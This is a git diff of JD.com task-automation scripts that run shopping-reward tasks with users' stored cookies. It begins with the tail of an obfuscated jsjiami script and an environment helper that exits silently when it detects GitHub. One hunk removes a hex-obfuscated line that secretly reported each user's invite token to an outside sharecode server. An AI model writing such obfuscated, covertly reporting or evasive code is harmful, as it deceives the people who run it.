_0x3d6912[_0x1397('20b','Wzkm')](_0x55bbc0,_0x5e2066);}};try{if(_0x209a68){if(_0x3d6912[_0x1397('20c','(14x')](_0x3d6912[_0x1397('20d','2&S]')],_0x3d6912[_0x1397('20e','3hCf')])){console[_0x1397('20f','hMbH')](''+JSON[_0x1397('210','YBF&')](_0x209a68));console[_0x1397('211','tXsZ')]($[_0x1397('212','hMbH')]+_0x1397('213','xI6('));}else{console[_0x1397('49','NB)(')](_0x1397('214','7Hqq'));}}else{if(_0x3d6912[_0x1397('215','Ayq5')](_0x3d6912[_0x1397('216','3hCf')],_0x3d6912[_0x1397('217','(14x')])){$[_0x1397('218','hx28')]=![];return;}else{if(_0x492e58){_0x492e58=JSON[_0x1397('219','hx28')](_0x492e58);if(_0x3d6912[_0x1397('21a','CM6L')](_0x492e58[_0x3d6912[_0x1397('21b','aM3b')]],0xd)){$[_0x1397('21c','3hCf')]=![];return;}if(_0x3d6912[_0x1397('21d','0zsU')](_0x492e58[_0x3d6912[_0x1397('21e','3L)y')]],0x0)){if(_0x3d6912[_0x1397('21f','^]tN')](_0x3d6912[_0x1397('220','hx28')],_0x3d6912[_0x1397('221','aM3b')])){url=$[_0x1397('222','!ztH')](_0x46d2d9[_0x1397('223','b!pb')]);}else{$[_0x1397('224','tXsZ')]=_0x492e58[_0x3d6912[_0x1397('225','8D^#')]]&&_0x492e58[_0x3d6912[_0x1397('226','2sA7')]][_0x1397('227','0zsU')]||$[_0x1397('228','q&xS')];}}else{if(_0x3d6912[_0x1397('229','^]tN')](_0x3d6912[_0x1397('22a','f%nz')],_0x3d6912[_0x1397('22b','j1Vv')])){$[_0x1397('92','xI6(')]=$[_0x1397('9a','N84B')];}else{return _0x3d6912[_0x1397('22c','Ayq5')](Math[_0x1397('22d','hMbH')](_0x3d6912[_0x1397('22e','yW]B')](Math[_0x1397('22f','zhk0')](),_0x3d6912[_0x1397('230','[Jme')](max,min))),min);}}}else{if(_0x3d6912[_0x1397('231','aM3b')](_0x3d6912[_0x1397('232','*)8S')],_0x3d6912[_0x1397('233','aM3b')])){console[_0x1397('234',')^(8')](_0x1397('235','aM3b'));}else{console[_0x1397('236','G89w')](e);$[_0x1397('237','!ztH')]($[_0x1397('238','NB)(')],'',_0x3d6912[_0x1397('239','*)8S')]);return[];}}}}}catch(_0x527be7){if(_0x3d6912[_0x1397('23a','N84B')](_0x3d6912[_0x1397('23b','2sA7')],_0x3d6912[_0x1397('23c','LiL9')])){if(_0x46d2d9[_0x1397('23d','CM6L')](_0x1ee4e1[_0x1397('23e','Ayq5')],0x202)){console[_0x1397('23f','(14x')](_0x1397('240',')^(8'));}else{console[_0x1397('13d','CM6L')](''+JSON[_0x1397('241','^h3j')](_0x209a68));}id='';}else{$[_0x1397('242','q&xS')](_0x527be7,_0x1ee4e1);}}finally{_0x3d6912[_0x1397('243','!PYj')](_0x48100b);}});});}function _0x2a6b3c(_0x51e159){var _0x5cb75b={'ycJLx':function(_0x586d30,_0x3e0ecf){return _0x586d30!==_0x3e0ecf;},'dEiMG':_0x1397('244','tXsZ'),'AcOml':_0x1397('245','G89w'),'uOwyi':function(_0x19b084,_0x5374d3){return _0x19b084==_0x5374d3;},'HjzHK':_0x1397('246','2sA7'),'gZaDQ':function(_0xad525b,_0x454ead){return _0xad525b===_0x454ead;},'nFvdX':_0x1397('247','2sA7')};try{if(_0x5cb75b[_0x1397('248','hMbH')](_0x5cb75b[_0x1397('249','A#Us')],_0x5cb75b[_0x1397('24a','hMbH')])){if(_0x5cb75b[_0x1397('24b','^]tN')](typeof JSON[_0x1397('24c','!ztH')](_0x51e159),_0x5cb75b[_0x1397('24d','xI6(')])){if(_0x5cb75b[_0x1397('24e','f%nz')](_0x5cb75b[_0x1397('24f','00$W')],_0x5cb75b[_0x1397('250','G89w')])){return!![];}else{console[_0x1397('251','Wzkm')](_0x1397('252','^h3j'));message+=_0x1397('253','2sA7');}}}else{console[_0x1397('108','00$W')](_0x1397('254','j1Vv')+JSON[_0x1397('255','3hCf')](_0x51e159));}}catch(_0x578775){console[_0x1397('256','A#Us')](_0x578775);console[_0x1397('257','^]tN')](_0x1397('258','7Hqq'));return![];}}function _0x332046(_0x1facd2){var _0x163c5b={'EPist':function(_0x5633e1,_0x4b4f07){return _0x5633e1!=_0x4b4f07;},'YsXeL':function(_0x293050,_0x4a77f8){return _0x293050<_0x4a77f8;},'hyRDG':function(_0x3a548b,_0x605e29){return _0x3a548b+_0x605e29;},'qpkIf':function(_0xfa4a42,_0x1a8fb9,_0x13aee8){return _0xfa4a42(_0x1a8fb9,_0x13aee8);},'GVNjX':function(_0xa65e11,_0x3f12){return _0xa65e11==_0x3f12;},'EItmr':_0x1397('259','zhk0'),'Ouwol':function(_0x5c2bed,_0x3dd205){return _0x5c2bed===_0x3dd205;},'QaydQ':_0x1397('25a','xI6('),'rbVLi':_0x1397('25b',')^(8')};if(_0x163c5b[_0x1397('25c','*)8S')](typeof _0x1facd2,_0x163c5b[_0x1397('25d','yW]B')])){if(_0x163c5b[_0x1397('25e','3hCf')](_0x163c5b[_0x1397('25f','pjia')],_0x163c5b[_0x1397('260','xI6(')])){try{return JSON[_0x1397('261','hMbH')](_0x1facd2);}catch(_0x546679){console[_0x1397('10a','!ztH')](_0x546679);$[_0x1397('2e','Wzkm')]($[_0x1397('b3','*)8S')],'',_0x163c5b[_0x1397('262','[Jme')]);return[];}}else{if(_0x163c5b[_0x1397('263','hMbH')](code[_0x1397('264','hMbH')]('-'),-0x1)){_0x446bc9=!![];let _0x39d5e6=code[_0x1397('265','Wzkm')]()[_0x1397('266','CJqo')](/-/g,'');var _0x1f2550=_0x39d5e6[_0x1397('267','2&S]')]('')[_0x1397('268','3hCf')]()[_0x1397('269','A#Us')]('');var _0x244b6a=_0x1f2550[_0x1397('26a','[Jme')];var _0x13eaf3;var _0x4289ab=[];for(var _0x582123=0x0;_0x163c5b[_0x1397('26b','0zsU')](_0x582123,_0x244b6a);_0x582123=_0x163c5b[_0x1397('26c','JPxi')](_0x582123,0x2)){_0x13eaf3=_0x163c5b[_0x1397('26d','hx28')](parseInt,_0x1f2550[_0x1397('26e','zmkL')](_0x582123,0x2),0x10);_0x4289ab[_0x1397('26f','tXsZ')](String[_0x1397('270','q&xS')](_0x13eaf3));}return _0x4289ab[_0x1397('271','[Jme')]('')[_0x1397('272','j1Vv')](/#/g,'');}else{return code;}}}};_0xodW='jsjiami.com.v6'; + + // prettier-ignore + function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_health.js b/jd_health.js index f3821fe..9a4c33e 100755 --- a/jd_health.js +++ b/jd_health.js @@ -21,20 +21,29 @@ cron "13 1,6,22 * * *" script-path=jd_health.js, tag=东东健康社区 东东健康社区 = type=cron,script-path=jd_health.js, cronexpr="13 1,6,22 * * *", timeout=3600, enable=true */ const $ = new Env("东东健康社区"); - -console.log('\n====================Hello World====================\n') - const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -let cookiesArr = [], - cookie = "", - message; -const inviteCodes = [''] -const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ""; +let cookiesArr = [], cookie = "", allMessage = "", message; +const inviteCodes = [ + //`T0225KkcRUxL9FKDJh7ylvMLcACjVfnoaW5kRrbA@T0225KkcRx0Q_AaCdRr1xf8DIQCjVfnoaW5kRrbA@T018v_52Qxge81HeJB2b1ACjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`, + //`T018v_52Qxge81HeJB2b1ACjVfnoaW5kRrbA@T0205KkcPFd_vD2uSkCi3YhXCjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`, +] +let reward = process.env.JD_HEALTH_REWARD_NAME ? process.env.JD_HEALTH_REWARD_NAME : '' +const randomCount = $.isNode() ? 20 : 0; +function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +function nc(val1, val2) {//nullish coalescing + return val1 ? val1 : val2 +} if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]); }); - console.log(`如果出现提示 ?.data. 错误,请升级nodejs版本(进入容器后,apk add nodejs-current)`) if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; } else { cookiesArr = [ @@ -65,9 +74,12 @@ const JD_API_HOST = "https://api.m.jd.com/client.action"; console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); await shareCodesFormat() await main() - await showMsg() + // await showMsg() } } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } })() .catch((e) => { $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); @@ -80,19 +92,22 @@ async function main() { try { $.score = 0 $.earn = false - await getTaskDetail(-1) - await getTaskDetail(16) + // await getTaskDetail(-1) + // await getTaskDetail(16) await getTaskDetail(6) - for(let i = 0 ; i < 5; ++i){ - $.canDo = false - await getTaskDetail() - if(!$.canDo) break - await $.wait(1000) - } - await collectScore() + // for(let i = 0 ; i < 5; ++i){ + // $.canDo = false + // await getTaskDetail() + // if(!$.canDo) break + // await $.wait(1000) + // } + // await collectScore() await helpFriends() - await getTaskDetail(22); - await getTaskDetail(-1) + // await getTaskDetail(22); + // await getTaskDetail(-1) + if (reward) { + await getCommodities() + } } catch (e) { $.logErr(e) } @@ -103,7 +118,7 @@ async function helpFriends() { if (!code) continue console.log(`去助力好友${code}`) let res = await doTask(code, 6) - if([108,-1001].includes(res?.data?.bizCode)){ + if([108,-1001].includes(oc(() => res.data.bizCode))){ console.log(`助力次数已满,跳出`) break } @@ -127,7 +142,7 @@ function getTaskDetail(taskId = '') { if (safeGet(data)) { data = $.toObj(data) if (taskId === -1) { - let tmp = parseInt(parseFloat(data?.data?.result?.userScore ?? '0')) + let tmp = parseInt(nc(parseFloat(oc(() => data.data.result.userScore) , '0'))) if (!$.earn) { $.score = tmp $.earn = 1 @@ -136,35 +151,34 @@ function getTaskDetail(taskId = '') { $.score = tmp } } else if (taskId === 6) { - if (data?.data?.result?.taskVos) { - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken}\n`); - var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxc21db=["\x68\x74\x74\x70\x3A\x2F\x2F\x61\x70\x69\x2E\x73\x68\x61\x72\x65\x63\x6F\x64\x65\x2E\x67\x61\x2F\x61\x70\x69\x2F\x72\x65\x70\x6F\x72\x74\x3F\x64\x62\x3D\x68\x65\x61\x6C\x74\x68\x26\x63\x6F\x64\x65\x3D","\x74\x61\x73\x6B\x54\x6F\x6B\x65\x6E","\x61\x73\x73\x69\x73\x74\x54\x61\x73\x6B\x44\x65\x74\x61\x69\x6C\x56\x6F","\x74\x61\x73\x6B\x56\x6F\x73","\x72\x65\x73\x75\x6C\x74","\x64\x61\x74\x61","\x67\x65\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];$[__Oxc21db[0x6]]({url:__Oxc21db[0x0]+ data[__Oxc21db[0x5]][__Oxc21db[0x4]][__Oxc21db[0x3]][0x0][__Oxc21db[0x2]][__Oxc21db[0x1]]});(function(_0x4080x1,_0x4080x2,_0x4080x3,_0x4080x4,_0x4080x5,_0x4080x6){_0x4080x6= __Oxc21db[0x7];_0x4080x4= function(_0x4080x7){if( typeof alert!== _0x4080x6){alert(_0x4080x7)};if( typeof console!== _0x4080x6){console[__Oxc21db[0x8]](_0x4080x7)}};_0x4080x3= function(_0x4080x8,_0x4080x1){return _0x4080x8+ _0x4080x1};_0x4080x5= _0x4080x3(__Oxc21db[0x9],_0x4080x3(_0x4080x3(__Oxc21db[0xa],__Oxc21db[0xb]),__Oxc21db[0xc]));try{_0x4080x1= __encode;if(!( typeof _0x4080x1!== _0x4080x6&& _0x4080x1=== _0x4080x3(__Oxc21db[0xd],__Oxc21db[0xe]))){_0x4080x4(_0x4080x5)}}catch(e){_0x4080x4(_0x4080x5)}})({}) - // console.log('好友助力码:' + data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken) + if (oc(() => data.data.result.taskVos)) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos)[0].assistTaskDetailVo.taskToken}\n`); + // console.log('好友助力码:' + oc(() => data.data.result.taskVos)[0].assistTaskDetailVo.taskToken) } } else if (taskId === 22) { - console.log(`${data?.data?.result?.taskVos[0]?.taskName}任务,完成次数:${data?.data?.result?.taskVos[0]?.times}/${data?.data?.result?.taskVos[0]?.maxTimes}`) - if (data?.data?.result?.taskVos[0]?.times === data?.data?.result?.taskVos[0]?.maxTimes) return - await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 1)//领取任务 - await $.wait(1000 * (data?.data?.result?.taskVos[0]?.waitDuration || 3)); - await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 0);//完成任务 - } else for (let vo of data?.data?.result?.taskVos.filter(vo => vo.taskType !== 19) ?? []) { + console.log(`${oc(() => data.data.result.taskVos[0].taskName)}任务,完成次数:${oc(() => data.data.result.taskVos[0].times)}/${oc(() => data.data.result.taskVos[0].maxTimes)}`) + if (oc(() => data.data.result.taskVos[0].times) === oc(() => data.data.result.taskVos[0].maxTimes)) return + await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 1)//领取任务 + await $.wait(1000 * (oc(() => data.data.result.taskVos[0].waitDuration) || 3)); + await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 0);//完成任务 + } else for (let vo of nc(oc(() => data.data.result.taskVos.filter(vo => vo.taskType !== 19)), [])) { console.log(`${vo.taskName}任务,完成次数:${vo.times}/${vo.maxTimes}`) for (let i = vo.times; i < vo.maxTimes; ++i) { console.log(`去完成${vo.taskName}任务`) if (vo.taskType === 13) { - await doTask(vo.simpleRecordInfoVo?.taskToken, vo?.taskId) + await doTask(oc(() => vo.simpleRecordInfoVo.taskToken), oc(() => vo.taskId)) } else if (vo.taskType === 8) { - await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 1) + await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 1) await $.wait(1000 * 10) - await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 0) + await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 0) } else if (vo.taskType === 9) { - await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 1) + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 1) await $.wait(1000 * 10) - await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 0) + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 0) } else if (vo.taskType === 10) { - await doTask(vo.threeMealInfoVos[0]?.taskToken, vo?.taskId) + await doTask(oc(() => vo.threeMealInfoVos[0].taskToken), oc(() => vo.taskId)) } else if (vo.taskType === 26 || vo.taskType === 3) { - await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId) + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId)) } } } @@ -186,14 +200,14 @@ function doTask(taskToken, taskId, actionType = 0) { try { if (safeGet(data)) { data = $.toObj(data) - if ([0, 1].includes(data?.data?.bizCode ?? -1)) { + if ([0, 1].includes(nc(oc(() => data.data.bizCode) , -1))) { $.canDo = true - if (data?.data?.result?.score) - console.log(`任务完成成功,获得:${data?.data?.result?.score ?? '未知'}能量`) + if (oc(() => data.data.result.score)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.score) , '未知')}能量`) else - console.log(`任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}`) + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) } else { - console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`) + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) } } } catch (e) { @@ -212,13 +226,13 @@ function collectScore() { try { if (safeGet(data)) { data = $.toObj(data) - if (data?.data?.bizCode === 0) { - if (data?.data?.result?.produceScore) - console.log(`任务完成成功,获得:${data?.data?.result?.produceScore ?? '未知'}能量`) + if (oc(() => data.data.bizCode) === 0) { + if (oc(() => data.data.result.produceScore)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.produceScore) , '未知')}能量`) else - console.log(`任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}`) + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) } else { - console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`) + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) } } } catch (e) { @@ -230,6 +244,59 @@ function collectScore() { }) } +async function getCommodities() { + return new Promise(async resolve => { + const options = taskUrl('jdhealth_getCommodities') + $.post(options, async (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + let beans = data.data.result.jBeans.filter(x => x.status !== 1) + if (beans.length !== 0) { + for (let key of Object.keys(beans)) { + let vo = beans[key] + if (vo.title === reward && $.score >= vo.exchangePoints) { + await $.wait(1000) + await exchange(vo.type, vo.id) + } + } + } else { + console.log(`兑换京豆次数已达上限`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} +function exchange(commodityType, commodityId) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_exchange', {commodityType, commodityId}) + $.post(options, (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (data.data.bizCode === 0 || data.data.bizMsg === "success") { + $.score = data.data.result.userScore + console.log(`兑换${data.data.result.jingBeanNum}京豆成功`) + message += `兑换${data.data.result.jingBeanNum}京豆成功\n` + if ($.isNode()) { + allMessage += `【京东账号${$.index}】 ${$.UserName}\n兑换${data.data.result.jingBeanNum}京豆成功🎉${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} + function taskUrl(function_id, body = {}) { return { url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, @@ -255,31 +322,33 @@ function safeGet(data) { } } -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({ - url: `https://api.sharecode.ga/api/health/${randomCount}`, 'timeout': 3000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} health/read API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} +// function readShareCode() { +// console.log(`开始`) +// return new Promise(async resolve => { +// $.get({ +// url: `http://share.turinglabs.net/api/v3/health/query/${randomCount}/`, +// 'timeout': 10000 +// }, (err, resp, data) => { +// try { +// if (err) { +// console.log(`${JSON.stringify(err)}`) +// console.log(`${$.name} health/read API请求失败,请检查网路重试`) +// } else { +// if (data) { +// console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) +// data = JSON.parse(data); +// } +// } +// } catch (e) { +// $.logErr(e, resp) +// } finally { +// resolve(data); +// } +// }) +// await $.wait(10000); +// resolve() +// }) +// } //格式化助力码 function shareCodesFormat() { return new Promise(async resolve => { @@ -292,10 +361,10 @@ function shareCodesFormat() { const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); $.newShareCodes = inviteCodes[tempIndex].split('@'); } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } +// const readShareCodeRes = await readShareCode(); +// if (readShareCodeRes && readShareCodeRes.code === 200) { +// $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; +// } console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) resolve(); }) diff --git a/jd_jdfactory.js b/jd_jdfactory.js index c91eebb..afbc2fe 100755 --- a/jd_jdfactory.js +++ b/jd_jdfactory.js @@ -1,5 +1,10 @@ /* -Last Modified time: 2020-12-26 22:58:02 + * @Author: LXK9301 https://github.com/LXK9301 + * 